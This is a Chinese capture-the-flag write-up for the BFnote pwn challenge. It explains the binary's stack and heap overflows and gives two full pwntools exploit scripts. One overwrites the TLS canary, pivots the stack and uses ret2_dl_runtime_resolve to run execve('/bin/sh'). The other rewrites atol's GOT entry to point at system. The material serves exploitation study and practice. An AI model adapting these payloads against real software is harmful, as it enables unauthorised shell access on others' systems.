i春秋公益赛之BFnote
题目链接:https://buuoj.cn/challenges#gyctf_2020_bfnote
首先检查程序开的保护:

发现程序只开了canary和NX保护,接下来查看IDA反汇编出来的为代码,发现在输入description时存在栈溢出:

在输入note时存在堆溢出:

本题的难点在于不能通过覆盖canary的低字节来泄漏canary,也不好泄漏libc基址来构造ROP。
解法一:
canary是Linux的栈溢出保护机制,通常情况下是保存在TLS结构体中,而TLS结构体是由mmap分配的内存空间,故给了我们利用的可能。
利用思路:
- 分配一个大小为0x200000的chunk,此时会调用mmap分配内存
- 由上文的堆溢出漏洞可知,我们只要控制好v4的值,就可以向TLS结构体中写入数据,从而覆盖原有的canary
- 绕过canary保护后通过把栈迁移到.bss段
- ret2_dl_runtime_resolve
在构造ret2_dl_runtime_resolve时要注意利用的.bss地址不要过大或过小
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx]; //在伪造时注意此处下标过大会指向非法地址导致失败
最终利用脚本:
#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./BFnote')
#p = remote('node3.buuoj.cn', 28177)
elf = ELF('BFnote')
libc = ELF('libc.so.6') atol_got = elf.got['atol']
leave_ret = 0x08048578
read_plt = elf.plt['read']
pop_esi_edi_ebp_ret = 0x080489d9
pop_ebp_ret = 0x080489db
plt_0 = 0x08048450
_rel_plt = 0x080483d0
dynsym = 0x080481d8
dynstr = 0x080482c8 p.recvuntil('Give your description : ')
payload = 'A'*50 + '\x00\x41\x41\x41' + 'AAAA' + p32(0x0804a064)
p.sendline(payload) p.recvuntil('Give your postscript : ')
payload = p32(read_plt) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(0x0804a400) + p32(100) + p32(pop_ebp_ret) + p32(0x0804a400) + p32(leave_ret)
payload = payload.ljust(0x600, '\x00')
p.send(payload) p.recvuntil('Give your notebook size : ')
p.sendline(str(0x200000)) p.recvuntil('Give your title size : ')
p.sendline(str(0x2016fc)) p.recvuntil('please re-enter :\n')
p.sendline('16') p.recvuntil('Give your title : ')
p.sendline('CCCCCCCCCCCCC') p.recvuntil('Give your note : ')
p.send('\x00\x41\x41\x41') index_offset = 0x0804a41c - _rel_plt
r_offset = atol_got
r_info = (((0x0804a428 - dynsym) / 0x10) << 8) | 0x07
fake_reloc = p32(r_offset) + p32(r_info)
offset = 0x0804a400 + 0x50 - dynstr
fake_dynsym = p32(offset) + p32(0) + p32(0) + p32(0x12) payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA' #函数返回地址,此处可随意
payload2 += p32(0x0804a400 + 0x50 + 0x8) #/bin/sh地址
payload2 += p32(0)
payload2 += p32(0)
payload2 += fake_reloc #0x0804a41c
payload2 += 'AAAA'
payload2 += fake_dynsym #0x0804a428
payload2 += 'A'*(80 - len(payload2))
payload2 += 'execve\x00\x00'
payload2 += '/bin/sh\x00'
payload2 += 'A'*(100 - len(payload2))
#gdb.attach(p)
p.send(payload2)
p.interactive()
解法二:
通过调试我们可以发现atol函数的地址低于system函数的地址,用命令ROPgadget --binary BFnote --only 'inc|ret'发现程序有这样一段gadget:

通过调试发现除去最低位后atol和system函数地址偏移相差0xdb
利用思路:
- 利用inc把atol地址加0xdb
- 向atol的最低位写入'\xa0'
最终exp如下:
#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./BFnote')
#p = remote('node3.buuoj.cn', 28092)
elf = ELF('BFnote')
libc = ELF('libc.so.6') atol_got = elf.got['atol']
atol_plt = elf.plt['atol']
leave_ret = 0x08048578
read_plt = elf.plt['read']
pop_esi_edi_ebp_ret = 0x080489d9
pop_ebp_ret = 0x080489db
plt_0 = 0x08048450
_rel_plt = 0x080483d0
dynsym = 0x080481d8
dynstr = 0x080482c8
inc_ebp_ret = 0x08048434
ret_addr = 0x0804842a p.recvuntil('Give your description : ')
payload = 'A'*50 + '\x00\x41\x41\x41' + 'AAAA' + p32(0x0804a204) #栈迁移到0x0804a500处
p.sendline(payload) p.recvuntil('Give your postscript : ')
payload = '/bin/sh\x00'.ljust(0x1a0, '\x00')
payload += p32(pop_ebp_ret) + p32(atol_got + 1 + 0x17fa8b40)
payload += p32(inc_ebp_ret) * 0xDB
payload += p32(read_plt) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(atol_got) + p32(1) + p32(ret_addr) + p32(ret_addr) + p32(atol_plt) + 'AAAA' + p32(0x0804a060)
info("length of payload ==> " + str(len(payload)))
payload = payload.ljust(0x600, '\x00')
#gdb.attach(p)
p.send(payload) p.recvuntil('Give your notebook size : ')
#gdb.attach(p)
p.sendline(str(0x200000)) p.recvuntil('Give your title size : ')
p.sendline(str(0x2016fc)) p.recvuntil('please re-enter :\n')
#gdb.attach(p)
p.sendline('16') p.recvuntil('Give your title : ')
p.sendline('CCCCCCCCCCCCC') p.recvuntil('Give your note : ')
#gdb.attach(p)
p.send('\x00\x41\x41\x41') #gdb.attach(p)
p.send('\xA0') p.interactive()
i春秋公益赛之BFnote的更多相关文章
- i春秋公益赛 ezpload
题目思路:一看解出的人比较多,emmm,传个马,命令执行一下.最后读到flag文件. /readflag,可执行. 题对萌新比较友好...... 考点:Linux命令,文件上传,命令执行. http: ...
- i春秋公益赛之signin
题目链接:https://buuoj.cn/challenges#gyctf_2020_signin 查看程序保护 只开了canary和NX保护,在IDA查看反编译出来的为代码时发现程序给了一个后门 ...
- i春秋第二届春秋欢乐赛RSA256writeup
i春秋第二届春秋欢乐赛writeup 下载之后进行解压 发现四个文件 0x01看到题目是RSA的 又看到public.key 所以直接用kali linux的openssl 0x02可以看到e就是E ...
- 2020 i春秋新春战疫公益赛 misc
0x01 code_in_morse morse decode后得到: RFIE4RYNBINAUAAAAAGUSSCEKIAAAAEUAAAAA7AIAYAAAAEPFOMTWAAABANUSRCB ...
- i春秋2020新春公益赛WP
Re Factory 主函数fork了一个子进程,父进程添加了一个信号处理器用于比对input,然后死循环挂起.子进程读入input,然后调用了关键函数. 跟进关键函数,发现是从一段内存中读取数据,然 ...
- 2017 百度杯丶春秋欢乐赛 writeup
1. 内涵图(Misc) 题目: 我不是一个简单的图片 我是一个有内涵的图片 解:保存到桌面,右键属性->详细信息,即可获得flag. 2. 小电影(Misc) 题目: 我说过 这次比赛是让大家 ...
- 2020新春公益赛 writeup
简单的招聘系统 无需注册账号,admin'or 1#登陆,到blank page页面,在输入key处发现有注入点: /pages-blank.php?key=1%27+union+select+1%2 ...
- CTF中的命令执行绕过
本位原创作者:Smity 在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同.他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行. 作为 ...
- CTF练习三 —— 命令注入&命令执行绕过
这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...
随机推荐
- Dubbo系列之 (二)Registry注册中心-注册(1)
引导 dubbo的服务的注册与发现,需要通过第三方注册中心来协助完成,目前dubbo支持的注册中心包括 zookeeper,consul,etcd3,eureka,nacas,redis,sofa.这 ...
- [luogu4140] 奇数国
题目 在一片美丽的大陆上有100000个国家,记为1到100000.这里经济发达,有数不尽的账房,并且每个国家有一个银行.某大公司的领袖在这100000个银行开户时都存了3大洋,他惜财如命,因此会不时 ...
- Aspnet Zero中使用Windows service (Topshelf)来承载Quartz.net任务
Aspnet Zero使用Windows service (Topshelf)来承载Quartz.net任务 网上有很多关于如何使用Topshelf创建ABP的Quartz windows服务,但很少 ...
- github渗透测试工具库
本文作者:Yunying 原文链接:https://www.cnblogs.com/BOHB-yunying/p/11856178.html 导航: 2.漏洞练习平台 WebGoat漏洞练习平台: h ...
- sharedb结合elementUi编写的实时小工具
我是使用sharedb 作为后端 ,然后前端使用的elementUI样式,编写的一个值班小工具.接下来,让我们先来了解一下sharedb是什么吧? sharedb工具 github地址:https:/ ...
- guice的能力简述
guice这个google出的bean容器框架,ES有用到他. 能干什么 是一个bean容器 能AOP 能力细分与使用方式 以module创建injector.可以看成是一个容器.Module需要自定 ...
- 对拍(C++)
对拍(C++) 对拍是什么 众所周知,当我们正在考试敲代码的时候,每一道题,都会有某种正解能拿到满分:当我们想不出正解时,我们往往可以打暴力代码来骗分. 但是,当我们有思路写正解,但又担心自己 ...
- Jmeter 常用函数(23)- 详解 __longSum
如果你想查看更多 Jmeter 常用函数可以在这篇文章找找哦 https://www.cnblogs.com/poloyy/p/13291704.htm 作用 计算两个或多个长值的和 注意 当值不在 ...
- mysql高级内容学习总结
创建索引 create [unique] index indexname on tablename(columnname(length)) alter tablename add [unique] i ...
- 力扣Leetcode 46. 全排列
全排列 给定一个 没有重复 数字的序列,返回其所有可能的全排列. 示例: 输入: [1,2,3] 输出: [ [1,2,3], [1,3,2], [2,1,3], [2,3,1], [3,1,2], ...